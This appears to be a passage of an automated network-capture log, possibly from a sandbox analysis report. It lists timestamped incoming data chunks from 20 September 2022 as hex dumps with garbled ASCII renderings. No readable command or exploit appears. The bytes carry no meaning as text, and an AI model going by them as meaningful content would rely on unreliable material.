66 08 ad 7a a1 95 ef 43 ab 5e 68 ed 10 5a 39 42 6b 95 6c f7 fa d0 6a 10 5a 3d 42 2b 5b 68 d5 c9 72 de 87 56 a3 d0 da 2e 
b4 02 42 2b 2e b4 c6 f9 d0 6a 12 5a dd 42 6b 92 d0 8a ca 36 b6 0f ad 16 a1 b5 4d 68 65 0a ad 0a a1 d5 7f 82 8f fe 97 d0 
ea 12 5a 13 84 56 99 d0 ea f1 a1 d5 2e b4 b6 0a ad 0c a1 55 2a b4 b6 fa d0 ea 10 5a 9d 42 6b bc d0 2a 94 6d 6c 1f 5a 9d 
42 6b 8b d0 4a 17 5a 8b 85 56 83 0f ad 2e a1 d5 21 b4 c6 09 ad 02 a1 15 f5 a1 d5 2d b4 36 0b ad 34 a1 35 5f 68 15 fa d0 
ea 11 5a ed 42 6b 94 d0 0a 09 ad 3c 1f 5a bd 42 6b 93 d0 
Data Ascii: C+$v >VZBkBKhuBVZBAhB+(v:+fzC^hZ9BkljZ=B+[hrV.B+.jZBk6MheZV.U*ZBk*mlZBkJZV.!-645_hZBk<ZBk

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4700 IN Data Raw: db 06 dd 81 8e a6 d1 98 4c 6d b6 af 62 f7 ae 7b 9a 3a c4 92 36 0c 51 fd 40 e7 f7 fd 7a 9a f2 bd 1b fc 61 4f b3 
e9 0d dd d3 7c 71 58 a2 f7 1d 6e b2 7b 9a 37 25 1c 71 ad b8 5b f7 34 ff e0 39 3e 6f 3e dd 1e e2 e3 b9 cc 08 3d 22 94 e1 
e9 67 ec 8d 46 2b 75 6f 34 2b e1 fb 0e ef da 23 42 b9 9e ee 60 8f 75 bb 8f 1e 6b af dd 63 c5 75 96 bd 9f cb 6c b6 d3 58 
75 55 a4 ae 3c 1e 8e 17 15 57 90 b7 1c df c1 b1 41 1d ef 09 7a fd 5f e3 c8 e4 10 9a 36 0e be 1a d4 6d 62 b7 1c 4c 77 d0 
3f 0b 93 dc ef 2e c9 b4 61 86 36 b7 b1 d2 46 85 8f 51 88 a2 5e 9d 36 8e 07 d3 63 84 0d a6 8d 71 13 75 da 78 28 61 da 
38 f6 97 3a 6d 3c e9 a9 65 3e e1 dd 4b da c0 78 ff 65 54 c7 fb d4 84 a3 f1 13 53 f6 3e f3 a1 cf 47 bc 07 3e d0 f1 8e eb fe 
78 bf 4b f5 0a 19 59 82 42 a2 b2 d8 55 b6 9c 04 31 18 
Data Ascii: Lmb{:6Q@zaO|qXn{7%q[49>o>="gF+uo4+#B`ukculXuU<WAz_6mbLw?.a6FQ^6cqux(a8:m<e>Kxe
TS>G>xKYBU1

2022-09-20 10:10:08 UTC 4708 IN Data Raw: 47 20 bb f8 58 c1 9f 71 46 2f 7b fe 05 e4 e0 5b d8 2c dc 3f 1b ea 6a 3b ef cc fe 33 ae e9 4d dd f9 11 90 02 56 
66 ae 02 32 8d 8d aa dd 0a e4 eb 57 d8 bc 41 20 ef 2f a3 7e 7e 09 c8 e3 ac f7 f7 1e 90 f1 2c be 52 ff 82 ab df 53 32 11 48 
df d7 6c 26 2a 90 34 16 62 97 02 e9 60 a4 1c 48 90 f9 f9 5a 20 cb f6 67 4f 19 80 34 b1 38 bd 0f 48 88 85 58 07 90 f3 0f a4 
69 f5 55 20 06 4b 99 ef 00 69 67 39 e5 33 f4 33 7f 8f 03 48 cf 2b b4 c4 3e ac 1b 4a e3 8b 29 99 06 24 87 a5 ba 5c 20 eb 
58 8e 2b 06 32 c0 c8 ea 6e b5 4b 9e 13 a1 0d eb 69 6e 02 52 cf ee 74 0b 90 6d fc 2e ba f1 7b 13 ac e7 d2 8d 6b 44 53 92 
f4 57 c3 78 25 44 c3 70 3c 90 00 9f ad 0a a4 81 a5 9f b3 81 44 99 cb 05 40 f6 30 9b 28 da b0 18 5c 03 a4 90 af 7b 00 e4 
ee 31 34 2e 7e 0b 64 3e eb b5 3d 0f a4 9f 95 12 
Data Ascii: G XqF/{[,?j;3MVf2WA /~~,RS2Hl&*4b`HZ gO48HXiU Kig933H+>J)$\ X+2nKinRtm.{kDSWx%Dp<D@0(\{1
4.~d>=

2022-09-20 10:10:08 UTC 4716 IN Data Raw: d2 fd ec 4f 94 a5 92 67 89 13 2b 8a aa 5c fd f0 78 65 14 27 29 c8 00 f5 3c 61 56 af 31 68 0a c6 96 41 7b 09 82 
10 1f 3a 96 d9 8f 05 06 39 65 66 4f 7f a7 1c 3f 20 d5 ad 3a cf 2a 27 a1 81 3e a9 eb 84 84 57 7b 1a e8 93 f8 b8 c1 19 98 
49 e8 c6 20 66 da c4 7c b9 69 af 0e ed dd aa 32 b6 d4 43 41 52 bb 25 57 1d 37 13 7f a5 f9 b0 22 b1 1f fd d8 69 37 ad 79 
6d d6 bc be ff cd 08 47 91 79 9a f6 65 68 76 f7 71 72 9b 33 9b 50 fb 7c 50 df f8 f2 89 2f 5f 0c e2 03 9c f2 15 d7 4f 65 b4 83 
02 da 31 e2 75 42 5c a1 7a 9a d1 8a a2 12 3a 87 46 d5 b6 78 ac ea 5a fe d0 54 d9 29 5f a9 f8 ab 89 40 8a b2 da 2b 38 95 
d6 4c eb b4 e5 58 5c 4b ee 83 cf 22 a0 a5 a2 e4 cc 5e 16 d2 09 4e 99 83 38 f6 39 77 e9 98 e8 94 33 dc 28 fd 61 b7 e2 12 
9c 1b c4 9f e2 52 cf 84 3c 98 a7 f6 e2 67 f3 a1 
Data Ascii: Og+\xe')<aV1hA{:9efO? :*'>W{I f|i2CAR%W7"i7ymGyehvqr3P|P/_Oe1uB\z:FxZT)_@+8LX\K"^N89w3(aR<g

2022-09-20 10:10:08 UTC 4723 IN Data Raw: 52 a0 78 7e 72 91 bc e1 97 3d 5a 4d b6 84 bc 79 6a 19 76 4f 4e df 3c 5d 36 e3 85 9d 3b 7d 65 d2 aa 43 17 d1 
35 19 6f cd a3 38 45 a1 05 64 3f 72 04 39 b3 63 8c 64 6c 99 5d cc 7a 0c 65 d6 a3 93 8c f6 f7 aa ad a9 c9 b7 8d 7f 7c 40 
59 21 bf 39 46 97 46 1b e3 e0 a6 70 bc 7e d8 14 4d d4 68 da 74 64 3a 38 79 c4 81 da 09 fb 4a 52 94 ce bb 7c 06 2a 4c 24 
5c 80 d3 4f c0 40 a4 42 5c f9 62 ff 4d 65 ee ce 3c 33 d5 f5 62 01 74 a1 a5 4c ab 9f 56 34 d2 fb 6a 99 2f bf 28 66 18 10 55 
5a c1 ec 9f db 84 b2 23 66 8b 59 5e 23 a5 f7 70 45 4a eb 08 2b fc 31 78 2b 15 68 34 92 2a 5b 91 11 9c d0 f2 eb 5d b6 aa 
e1 1d a2 84 49 d2 f5 a3 4a 87 41 e4 ff 21 d2 47 d7 55 90 89 09 67 e4 be 95 62 8b ba 2c f2 f3 b7 85 31 2d ad ef 7e 2b 0f 
c6 d3 2a 50 df 11 81 52 31 1a 5f 27 d7 17 de 9b b3 7c 
Data Ascii: Rx~r=ZMyjvON<]6;}eC5o8Ed?r9cdl]ze|@Y!9FFp~Mhtd:8yJR|*L$\O@B\bMe<3btLV4j/(fUZ#fY^#pEJ+1x+h4*
[]IJA!GUgb,1-~+*PR1_'|

2022-09-20 10:10:08 UTC 4731 IN Data Raw: e2 be 87 24 6f 9d 58 26 89 65 49 2a 44 b6 04 4e 81 bf 16 a5 4f 60 d5 57 4a 15 e2 fe da 72 af 98 79 78 d1 61 
84 2b ae 79 b0 a6 b6 be 46 3c 58 e7 0d 94 d7 8a e4 9b 96 32 e4 8b 1f 5b 49 b5 fb 6b ab 44 30 44 1d 0e 2c 2a 5f 9e c2 7c 
33 ce be 4a 49 ac ab 7c d8 9b 80 dd 98 9b bb 46 cc d8 b8 b5 78 b1 e8 ce 5c 7e fb f2 cc ef c6 be 1b fb 3f 38 f6 dd f5 bf 7f 
39 f5 96 7d 78 3b c3 36 58 d9 05 76 8e 3b ce d2 71 7c 17 3a f8 46 3c 8e 9f 5e 32 b9 0e f1 5e 07 c7 60 b2 c4 2f e5 34 18 
3f 8f c5 43 8e c3 7a cc 94 e3 b0 1f 35 e7 38 04 99 03 b0 7a 47 3a dc fd 29 0e 21 27 ea b0 e7 74 39 ac 39 dd 0e ee 1e db 
8f c8 b8 69 bf c3 09 cd 66 98 be cb 30 9d 67 cb 9d 30 e2 b1 35 30 f4 d3 be 86 0e a8 21 75 5e 41 e4 75 cc 9c eb 10 8e 02 
2f a7 6c f1 38 32 ab 1c ae 5c 47 66 01 b9 6f 27 f7 c2 
Data Ascii: $oX&eI*DNO`WJryxa+yF<X2[IkD0D,*_|3JI|Fx\~?89}x;6Xv;q|:F<^2^`/4?Cz58zG:)!'t99if0g050!u^Au/l82\Gfo'

2022-09-20 10:10:08 UTC 4739 IN Data Raw: b8 3f 11 a7 1a 44 f4 f1 8a e3 3e 08 77 38 1a c5 ab 81 15 6b a0 67 8b 8a 51 41 f8 27 02 cd 42 dc c5 59 28 35 f1 
a1 44 72 c1 05 e7 c7 ed 9e a9 40 bb d8 29 fe 9c f3 4f a2 47 fb 11 4b 8d df fb 9d 20 ed b3 36 f7 d8 fb c1 63 bc 4a 12 c1 79 
3b 91 81 2e d1 f0 71 ee 05 f0 52 5a 1c 57 d0 55 8b 3a ad 75 47 fb 5d 08 5b c6 df e3 ee 25 04 98 74 00 3f 0f e0 e7 49 fa 
89 02 57 f7 22 a5 ae a2 2a eb 70 e2 f9 71 ca ec a2 c4 f5 c8 9c 0c 4a d7 6e 3f 5d 75 9f 53 66 23 25 7a 90 09 94 32 f6 d7 
94 d8 8b 3d 5e 0b 65 1e 44 53 87 d1 d4 cb 3c d0 ec 67 ac fe 7a 82 be 45 e8 37 e9 aa 1f a2 cc 29 4a c0 39 b9 7e 3d 65 5c 
88 c1 0e f7 3d bb b2 76 02 95 49 f2 10 15 ab 09 35 c1 ab 2a ce a6 c4 4c af aa 78 29 25 56 d0 15 3b 44 95 5e 25 40 23 ef 
70 e1 44 6d c9 47 67 3d f1 81 c3 ad f9 0b 3c 70 d4 
Data Ascii: ?D>w8kgQA'BY(5Dr@)OGK 6cJy;.qRZWU:uG][%t?IW"*pqJn?]uSf#%z2=^eDS<gzE7)J9~=e\=vI5*Lx)%V;D^
%@#pDmGg=<p

2022-09-20 10:10:08 UTC 4747 IN Data Raw: 44 d9 9d 7f c0 ee fc 83 32 39 00 ca bc cf 0b bb 1d 7b ed 86 50 8c 54 70 12 d1 1e 9b 67 af ab 70 b7 51 5f 01 a5 
0d 15 41 16 13 fe da c4 9a c0 63 c2 45 ca 43 40 b7 db f5 5b 70 36 5c bf 39 a6 70 9a 50 f3 3a 16 d0 22 c3 76 ab 64 32 72 
38 70 aa 48 58 c1 0e fb 48 a9 95 d9 40 d0 66 b7 91 9d 2e 8b 68 37 87 4d bb ae f0 b6 a5 7c eb 64 f7 e5 9c 9a 84 34 48 80 
10 9c 08 ec 08 e0 93 d6 8d 46 50 95 62 bf c7 1c 19 38 dd 64 19 c4 62 7c 25 83 b7 f2 60 dd 04 75 8d 31 4e 2f 07 f1 f7 b2 
25 61 35 4e 5b b2 db 8e b6 c1 4d 31 c8 e8 ec f5 8f 60 95 ef 31 7c 35 1f bc 78 9d e3 29 dd 19 53 9c f7 4d d6 63 21 9f 08 
32 35 6e cf e6 af 6c ec c6 40 3e e0 6c 4b b0 82 19 87 d6 31 a4 b0 64 7d b5 b2 51 d9 6e 52 a4 f0 b4 a1 df a9 b7 22 5e 43 
65 eb 8b d9 cd 2d ee b2 af 46 b7 59 25 de ff 10 c2 ec 
Data Ascii: D29{PTpgpQ_AcEC@[p6\9pP:"vd2r8pHXH@f.h7M|d4HFPb8db|%`u1N/%a5N[M1`1|5x)SMc!25nl
@>lK1d}QnR"^Ce-FY%

2022-09-20 10:10:08 UTC 4755 IN Data Raw: ed ff 36 77 bd a1 71 1c 57 7c 65 3b fa 77 92 a5 3a 76 eb c6 6e 71 8b 71 0c 75 0f d9 96 1d 7f 48 1b 29 b2 6c ab 
91 65 45 56 42 69 5c c6 ab bb 95 ee ac bd bd eb de 9d 6c a9 86 ba 60 52 53 52 6a 68 02 26 fd 83 3f a4 c1 05 97 94 12 
92 2f 09 24 e0 0f 09 18 1a 5a 0c 81 fe a1 a5 fd 60 4a d3 9a 62 a8 69 0d ee 7b f3 66 76 66 f6 dd 49 8a 7b 0d b9 0f 42 fb f6 
cd fb cd bc 7f 33 3b bb 33 c3 d0 2f 31 f4 f7 0d ba 1a 63 67 93 31 76 6a 4f 5d f5 7b 08 60 2f 7f 7a f9 19 bc 41 e0 79 4f f3 48 
ca 31 a0 5c 7c 88 cd a5 e8 96 b6 3d dd 96 7e 2b c4 c7 e1 72 14 ed f2 7c 88 71 f8 ad 48 8f c3 1f 06 d6 cf 33 1e 1c 87 ef 
d8 a0 c7 e1 af 34 94 84 b3 6a 1b 3e a1 67 d5 de 6c 88 85 63 f5 f7 56 31 56 3f bb 45 8f d5 f7 ae 69 36 63 f6 e5 35 7a 1e 
a0 f1 33 35 8e e7 2b ab 18 cf 57 92 f1 3c 7a 40 
Data Ascii: 6wqW|e;w:vnqquH)leEVBi\l`RSRjh&?/$Z`Jbi{fvfI{B3;3/1cg1vjO]{`/zAyOH1\|=~+r|qH34j>glcV1V?Ei6c5z35+W<
z@

2022-09-20 10:10:08 UTC 4762 IN Data Raw: 7f 9f a3 3d 81 cf 09 cf 9b d0 36 26 05 d2 51 b4 55 07 06 f5 c8 79 4e 06 4a fe 76 df 7f d3 86 fc f0 8d 28 bb fc 4b 
2d 66 47 a0 18 77 79 41 e1 0e df 68 d8 af d6 fd 52 fc 19 e3 97 4a 6b f0 b0 39 42 d4 ff c8 d3 04 0d 56 5a 1d 0d 95 38 26 
cd a5 54 11 2e d2 fd 76 6a da cb 90 b2 09 db f4 77 25 93 01 ee 28 de 1a 7e bb 9b 3e 49 cb 8d 6e 74 16 81 11 07 86 a7 
38 04 47 fa f2 19 34 24 a5 dd 4a 29 7e 79 1f 08 f1 14 2d 35 75 d7 c9 77 c0 c2 9f e4 ef 4a 5a 54 0a 73 73 3b 9b 9b 13 ab 
ae 0e 1c f1 cd 97 e7 81 56 e2 9b 8c 73 13 35 77 1b b3 5a 07 ee 86 65 46 15 16 b5 40 65 ea 94 b5 b0 78 0b 9f 1f 49 41 93 
5c 91 01 bd 24 bc 71 a6 fe 00 6d 18 66 0a 0a ea f3 1b 79 96 d9 3d 4b 71 b7 f5 36 6e 50 3d 04 45 0d 73 e7 68 58 80 f8 01 
3d 04 e7 ae 9c 6d ac 1d 3a c3 3a 80 51 7e 9c 68 0e 63 
Data Ascii: =6&QUyNJv(K-fGwyAhRJk9BVZ8&T.vjw%(~>Int8G4$J)~y-5uwJZTss;Vs5wZeF@exIA\$qmfy=Kq
6nP=EshX=m::Q~hc

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4770 IN Data Raw: 9b 06 22 93 9c 3d 21 81 c8 b8 8d 25 49 39 94 18 69 8e db 3f 00 95 52 f6 01 59 8a f5 f2 10 00 e2 ee e0 52 bc 
71 48 b9 65 0b 79 ff ea e4 5e d0 69 45 54 2c 5b 62 c5 b2 cf 25 17 a3 04 ee c5 6f 0f 5e e6 2e e4 44 10 9e da 4c fa 0f 1d 
b7 30 a6 7b 9b 99 23 7e b8 0e 2d 03 54 23 1e dc 2f 60 e9 b4 bf e8 8c 7c 1d 43 1f 48 1b 22 d0 86 ca 9c 26 c0 05 ab b7 09 
a4 28 e6 e2 2a f1 5f 4c 3d 8c 89 bd 7e 32 53 0b 72 c3 7d 8a e0 1c 9b b4 30 7a b1 3d 18 e4 47 9b d9 bd 7a be b1 a1 ef b9 
44 34 6d 35 05 c6 59 48 3b 16 2f 0a 25 a1 6e 2b 0d 45 32 60 33 82 cd 1d 6b 26 fd 27 c3 4d 08 57 92 32 b1 22 1b 27 b2 
58 e4 7d 1a 4f cc 44 d1 95 86 af 77 9f bb 3f b0 24 ff bb 90 40 bc f2 78 dc f9 8f 0c 4d 83 a2 7b 8d 6e 42 ac 3c 84 63 bc 93 
42 6b 57 ff 83 dd bd c4 6f 29 2a b5 18 b5 45 64 6d 7e e2 
Data Ascii: "=!%I9i?RYRqHey^iET,[b%o^.DL0{#~-T#/`|CH"&(*_L=~2Sr}0z=GzD4m5YH;/%n+E2`3k&'MW2"'X}ODw?$@
xM{nB<cBkWo)*Edm~

2022-09-20 10:10:08 UTC 4778 IN Data Raw: 73 d0 e6 7b ff 76 9b e6 db 12 6a 93 88 4f 1c 3f b4 9b 7e b7 aa be d4 73 bb 39 f7 27 58 d4 ca 53 12 ad 24 a3 
09 d6 2e 68 53 84 36 af bc 80 4f a0 07 58 c7 27 e8 aa 54 b3 fb 2b 80 0e cb e7 ab aa ef 02 ed 4e 4f 38 57 66 6f 42 13 c4 
9b 60 95 29 62 36 d9 3f a0 af 19 0b 62 65 6d 1b ea 03 0b 62 ed 46 d4 41 e7 2c 88 95 ab 5d 90 d6 b0 e0 fb 6d 71 27 97 
83 ab 17 c4 ca 79 94 c7 58 3f c9 90 86 72 67 05 a4 fd c8 90 86 3c fb 34 a4 a5 1a d2 d0 16 58 67 68 ef fb fa 5e 03 65 33 
78 99 02 de f7 13 90 36 2f 56 b6 95 a1 6c bb af 6f 9c ce 1e 23 e4 98 8c 40 bd 6e 07 d4 ff 2f 5d 46 78 f9 3a 77 6f cc 1a 8a 
74 82 e7 85 ca 17 aa 6a cd 85 e4 df 67 09 f5 03 34 4f ba 11 0a 2a 42 38 de e3 f0 5f 7d 8f ee 7f 73 f6 ec 7f b3 3b 35 3c 54 
87 54 35 99 97 71 09 cc 87 57 08 6d 44 74 3c dc 62 6f 
Data Ascii: s{vjO?~s9'XS$.hS6OX'T+NO8WfoB`)b6?bembFA,]mq'yX?rg<4Xgh^e3x6/Vlo#@n/]Fx:wotjg4O*B8_}s;5<
TT5qWmDt<bo

2022-09-20 10:10:08 UTC 4786 IN Data Raw: c6 43 f6 28 5c f6 ae 83 37 0d 74 6f 1b 63 c6 37 45 84 1a 8c e8 f0 f7 0c 8f fa 98 f1 2d 7b 16 ce 10 5b 83 31 da 
b7 3d e3 db f6 a8 61 5c a3 6e 59 35 31 b8 d5 3f da 8e fd 26 fe 71 ff 28 45 bd 23 e8 b9 82 a9 f4 df 12 8d ef da dd 89 b8 b8 
8b 59 55 15 e5 34 a9 b8 af c0 e6 ad 6f 5b d5 d5 b8 be 8b 3d 63 30 ae b2 79 5e 26 0a 16 f9 ed 48 96 b3 cd 26 2b d0 30 5a 
ce 8c ed 36 59 ea 86 d1 0a 66 5c 2d 42 56 0a 55 32 63 87 08 39 29 54 c5 8c 9d 36 59 9e 86 d1 39 cc d8 25 42 1e 0a cd 
65 c6 35 22 94 64 69 1a 18 ee 1e ef ec de 45 8c 5a 6b 4b f9 80 ac 69 9a a5 d3 bf 6d 19 e5 bb 4e e0 9c 8b 70 13 85 d7 8b 
f0 7e 84 1b 29 bc 41 84 2f 42 b8 81 c2 1b 45 f8 32 4b a3 af 9f 19 37 89 d0 41 4b e3 18 85 36 8b d0 35 96 c6 ad 7b 98 f1 
68 11 fa 3e 61 52 c8 2b 42 d7 59 1a 7b 28 b4 45 84 6e 
Data Ascii: C(\7toc7E-{[1=a\nY51?&q(E#YU4o[=c0y^&H&+0Z6Yf\-BVU2c9)T6Y9%Be5"diEZkKimNp~)A/BE2K7AK65{h
>aR+BY{(En

2022-09-20 10:10:08 UTC 4794 IN Data Raw: 4a 50 38 47 33 c5 f8 f0 05 03 39 77 51 20 8b 50 e0 1c 6b 15 4f d3 2e 82 c2 19 87 3c 0d d3 5c 4f 4c 15 99 ee 
e2 e2 a8 d2 f4 26 3c d8 09 e7 78 cf d3 34 1b 27 0e f0 01 71 d0 d3 a0 bb 7c 9c 28 e8 af 22 8f 8e 4b 6f 88 78 d1 38 e1 45 
be 80 3c aa 2c a5 21 b8 bd 23 66 81 ab 21 74 7b 47 cc 7c f7 b2 f0 eb cc 6b 2a e6 4c bd e2 dc 55 6d 4e 6b 98 f6 f2 6c ca 
7f fa 8b b5 a3 46 52 9a 6e 23 86 c2 19 07 3c 4d 73 a9 ce 70 ee 14 53 c3 d4 eb c9 6b ca 59 84 3b cb 63 1f 48 5d 16 69 ab 
47 13 3e e3 c2 d9 36 27 b2 32 2b 3e 40 9e 6f ff 66 ec f3 18 ec 1f eb f9 9a fb 3c b4 ab 6e 9e 4f fd d2 1d e2 5f be 79 c3 70 
6c 74 ba 12 ba 79 63 da 7d 1b 86 f3 3c 76 e5 ab ee d5 08 fb 58 ac 06 3f 16 1b 37 58 6f c7 b7 38 f9 b1 d8 b8 d1 b1 80 7f 
8b d5 3e 16 1b 8f 72 a4 f3 8f c5 e6 13 f0 89 55 0d dd 
Data Ascii: JP8G39wQ PkO.<\OL&<x4'q|("Kox8E<,!#f!t{G|k*LUmNklFRn#<MspSkY;cH]iG>6'2+>@of<nO_ypltyc}<vX?
7Xo8>rU

2022-09-20 10:10:08 UTC 4801 IN Data Raw: cd 5e ed 82 84 ba e8 11 be cd 70 26 a1 c5 79 bb 68 ec 51 db b0 aa 76 65 a3 b7 65 55 53 1b 73 29 6d ae 8f b0 
4f c0 b7 9b 3f 78 a2 ac b6 f3 e1 85 67 ec 18 50 62 4a 87 fd 30 46 16 89 c7 93 85 50 3a 79 a4 35 f1 49 ac 0e 75 f1 00 d9 
b5 70 9a ca 1a e3 e5 51 e2 b9 f0 01 6f 2f 53 fe ad ac 9a c9 85 9b 59 73 a7 6f 46 c8 ee 48 d5 20 f5 a2 90 4a 97 c1 70 72 
4e c9 30 b8 f0 29 db 3a cc 94 4c 43 1c bc cc 3a 48 93 7f 43 1c b8 aa 5a e5 e5 05 d9 06 6e b3 ad 56 de 32 94 1c 43 ca 29 
d1 28 8e 59 fd 3d ef f1 e6 e2 3c 07 28 2a b9 06 23 02 33 78 27 35 bc 75 3b 6e f2 4e ba 25 1a d9 e6 72 61 9c 15 88 d5 f6 
73 16 1a 52 13 b8 08 3d 24 c2 19 be 89 c1 c1 bd 52 95 47 fd 43 3d a4 79 fe 5d b8 97 d9 6d 91 c5 cf 24 3a 59 ba 6b 16 60 
34 f8 c5 d8 0b 2d 0a 30 6e 1d 9e f4 f1 f5 da 83 6f b9 18 
Data Ascii: ^p&yhQveeUSs)mO?xgPbJ0FP:y5IupQo/SYsoFH JprN0):LC:HCZnV2C)(Y=<(*#3x'5u;nN%rasR=$RGC=y]m$
:Yk`4-0no

2022-09-20 10:10:08 UTC 4809 IN Data Raw: 13 d0 9e d6 8d 1d 13 82 51 84 b3 e2 9b fa 87 7a a9 93 da e8 c1 b9 72 1e 10 9b b4 8e 12 27 cb d7 4f 39 aa ce 
94 46 05 d7 e0 8c d4 cb fd 30 07 31 72 f3 86 5c fa 44 38 85 36 f1 50 27 5b eb db bd b2 7f 60 a0 bf d3 df 33 c6 8c 1b 8b 70 
80 df 88 a3 bf eb 06 11 6e 3e 06 d9 6c e9 1c 27 fb b2 ad 7e 78 64 ef aa 75 c3 a3 3b fc a3 b5 fc 58 f0 54 30 5e fa c2 11 6a 
23 4e 2c d7 8d 8c 1d d3 80 95 1c c2 2d c5 bd 2b 75 3d 3d 7d 1a 60 11 f8 03 8c ce d1 1e 84 3b 8f 91 08 32 dc cd f5 be 6f 
94 a9 f3 55 7e 2a 9b 75 cb ec 7a fa 78 8e 54 84 cf 9c 61 a0 40 f6 f8 2e b7 2e 90 fd 67 c5 c8 7d 5d 20 f7 cf f8 16 c5 75 5a 
e6 9f b5 1f 23 a3 bb 86 41 87 20 47 bf c3 17 ff a7 bf 0f 13 a3 28 e3 6d a8 a4 ee 3e 4c 84 c9 26 e1 ee 86 da e9 ef c3 e4 49 
ff a8 4f ea 96 49 b7 62 bd bf 50 e5 bb 70 b0 
Data Ascii: Qzr'O9F01r\D86P'[`3pn>l'~xdu;XT0^j#N,-+u==}`;2oU~*uzxTa@..g}] uZ#A G(m>L&IOIbPp

2022-09-20 10:10:08 UTC 4817 IN Data Raw: 71 2a 9e 5c 86 c0 9e cb 55 8c c2 6b 46 e5 65 e3 6d 31 40 bb 9a 82 17 93 2b 79 f3 78 71 01 fb 35 36 a9 70 eb 
53 85 8a f5 a5 7c 74 bc a8 24 66 6a a2 3e 7d 2c b9 e8 04 51 0d 56 32 4c d1 e5 58 c1 a2 12 b8 a1 fe b5 be ed 13 63 e3 fc 
1b 8f d2 1f 9f cf a9 6c e1 31 c1 8f 3f 4a 7f 9e 88 f0 b9 fb c7 ba 42 12 35 f4 8f 75 6f c5 f2 9a b2 3d de 29 8a 90 76 2e e5 71 
51 54 c0 e0 08 4e f9 04 a7 fa a4 d2 4c 12 8e 01 3f 5c 69 76 39 bb ec 52 69 de a6 fa bd 49 2e f9 be e3 a5 d2 cc 04 b7 5e 
a0 10 3b 13 ca bd 3a ab e0 4c 4d b1 bf 20 c4 bf 8d 4a c5 ae 39 01 cf 25 9d 10 aa d8 85 d4 fe f3 c9 a5 ac 3c 41 28 f6 6d f6 
50 c5 ee 3e 21 92 62 b3 52 1a 91 f8 bc 21 5d 4c 1d 19 b7 60 37 c3 94 8a d9 e8 64 8c c8 ba 6c 2b 64 59 95 01 00 2b 1d 
1f dd eb 0d 4d de 3e ea ef a1 ae 31 b4 a3 62 4a 1e 
Data Ascii: q*\UkFem1@+yxq56pS|t$fj>},QV2LXcl1?JB5uo=)v.qQTNL?\iv9RiI.^;:LM J9%<A(mP>!bR!]L`7dl+dY+M>1bJ

2022-09-20 10:10:08 UTC 4825 IN Data Raw: 82 4c 0c f2 ef 2c 22 7a c6 89 92 7f 57 91 e7 20 af 6c 56 3c a5 f8 a9 87 8c 1d 81 b3 e5 03 57 39 27 10 f0 e7 1e 
09 18 c3 3f 95 e0 d9 d8 4b 30 8f 50 43 f9 c3 94 52 ce 19 85 97 82 d7 bf 34 11 f5 cf e7 9a 51 5a 0a cd 10 6a 3d 8b f3 c2 
c3 79 50 ce 79 e0 e1 75 af e0 75 27 c2 6b f1 8c 45 f7 b8 5f 67 b1 92 b8 89 57 fe 19 20 9e 94 0a e2 05 23 34 c3 97 c3 4d 
25 25 fe 90 51 cb 23 95 e7 51 30 42 43 52 2d 3a 2d e5 13 7c a5 29 44 01 b1 70 c6 d9 79 70 94 2a 58 04 26 e1 81 21 f0 
e9 4e e2 c8 1d 27 4e d1 cc 2b cf c5 55 f7 42 33 67 00 ff 59 c2 79 92 5c 72 79 88 86 fe 99 40 1f 6a 1c 2e de 47 f5 df c7 d5 
a9 10 8a f2 10 11 59 cc b3 05 b3 8b bc 22 5b ae aa 9b 08 6d ed 3e a9 a0 e7 90 e7 8c 7d 52 41 ef 24 cf 1d fb a4 82 3e 43 
9e 27 40 b1 78 6c 7c 14 fb 79 e4 3f 73 4d 2c 20 43 3d 
Data Ascii: L,"zW lV<W9'?K0PCR4QZj=yPyuu'kE_gW #4M%%Q#Q0BCR-:-|)Dpyp*X&!N'N+UB3gYy\ry@j.GY"
[m>}RA$>C'@xl|y?sM, C=

2022-09-20 10:10:08 UTC 4833 IN Data Raw: d2 5e 14 9a 33 a6 e0 ad 51 31 05 2c be b7 1b 8b d8 4a 9b f9 31 6b 5a 19 63 1f 17 c4 54 84 11 f1 51 33 00 38 
ba 3e c5 d6 43 0d e4 4d e7 01 e9 84 4d 4b b1 a6 8e 0b ac cf 16 60 31 28 f5 93 d1 94 04 c8 9f d3 f1 84 81 fd 0e 60 07 39 
88 34 b3 a3 a9 84 56 73 63 39 eb dc 12 84 20 b6 9a 81 a7 01 a9 5d 9c 8f 03 50 ba 5f ac 77 44 cc c5 a4 d1 3c 31 fa ee 51 
cf 2d c2 21 38 07 78 3a 27 3c ab c4 9c b5 c8 a4 00 da 37 f0 33 4b 37 a4 68 23 dc 0e 4c ad 0a ba 0b ec 7f 46 f2 54 a3 0f 
52 a0 83 6a da a8 b6 99 02 cd e4 f8 ae 6d d4 aa 81 cd 8f d5 f8 b4 c9 15 24 54 37 6e 27 fc 25 a8 3a 42 01 df 7a a7 c8 2e 
28 eb 64 c4 1c 1b fb 11 7e 89 07 3e cf 83 38 54 76 b6 f3 6a 3c ce 84 c8 5d 66 d0 97 4a 06 05 cf 91 de 44 ce 0e 31 28 07 
f5 af 2e 7a 04 0a 5d 03 d4 47 b0 bf 47 31 f9 79 2c 82 19 
Data Ascii: ^3Q1,J1kZcTQ38>CMMK`1(`94Vsc9 ]P_wD<1Q-!8x:'<73K7h#LFTRjm$T7n'%:Bz.(d~>8Tvj<]fJD1(.z]GG1y,

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4841 IN Data Raw: b7 c2 90 27 6b e8 5b 3e 3e e0 d3 b3 fa 02 6c 8d 8b f5 05 97 69 f6 f9 ab f3 f3 36 a0 b2 9c f5 16 bf f9 16 f3 86 bb
7d a5 bc 81 76 ce 07 db 44 34 05 5c 66 f9 ea d9 9c 80 17 d6 40 79 a4 fb 17 1f c9 41 6f 81 cd bb 94 f8 98 ba 84 bf 71 85 
90 ef f5 64 bc c0 71 c0 ac b4 fa c8 2e 7e cd 2b 63 5e 43 6d 07 b6 89 9b 3a e4 ca 81 a2 f3 15 18 d6 2e 06 9d 65 b5 36 62 
e5 86 0c f6 70 0e e1 8f a1 98 b8 81 cc 1d de a7 89 e9 3a 68 3f b4 12 d0 37 c2 c4 26 fc e6 40 f0 b3 a6 4e 57 42 0f f6 9b bf 
a5 1e f6 e8 08 09 af cb cc 45 51 c4 a0 22 74 f5 2f 79 54 f7 8d 9f fc e8 d8 c9 fb 87 7b 4d 30 cf 87 3c bf dd f1 24 c2 dd be 
